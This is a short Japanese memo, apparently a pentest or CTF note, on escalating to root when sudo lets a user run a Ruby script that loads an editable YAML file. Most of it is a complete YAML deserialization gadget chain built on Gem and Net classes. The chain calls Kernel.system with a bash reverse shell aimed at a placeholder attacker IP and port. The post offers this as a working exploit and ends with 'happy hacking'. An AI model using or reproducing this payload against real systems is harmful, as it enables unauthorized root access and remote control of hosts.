忘備録:Rubyの環境でPrivilege Escalationに出会いました。
Ruby環境のPrivilege Escalationは出会ったことがなかったので記述しておきます。
TL;DR
- YAMLファイルを利用したrubyをsudoで実行する際に可能
例としてはこのようなコマンド実行が可能な場合があります。
>sudo -l
(root) NOPASSWD: /usr/bin/ruby sample.rb
このsample.rbは、sample.ymlを読み込んでいるとします。このsample.ymlは編集可能の状態です。
YAMLファイルは以下のように記述します。
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: "bash -c 'bash -i >& /dev/tcp/<local-ip>/<local-port> 0>&1'"
method_id: :resolve
bashの箇所がシェルを実行するコマンドとなります。
実際の実行コマンド等の詳細は以下を参考にしてください。
ハッピーハッキング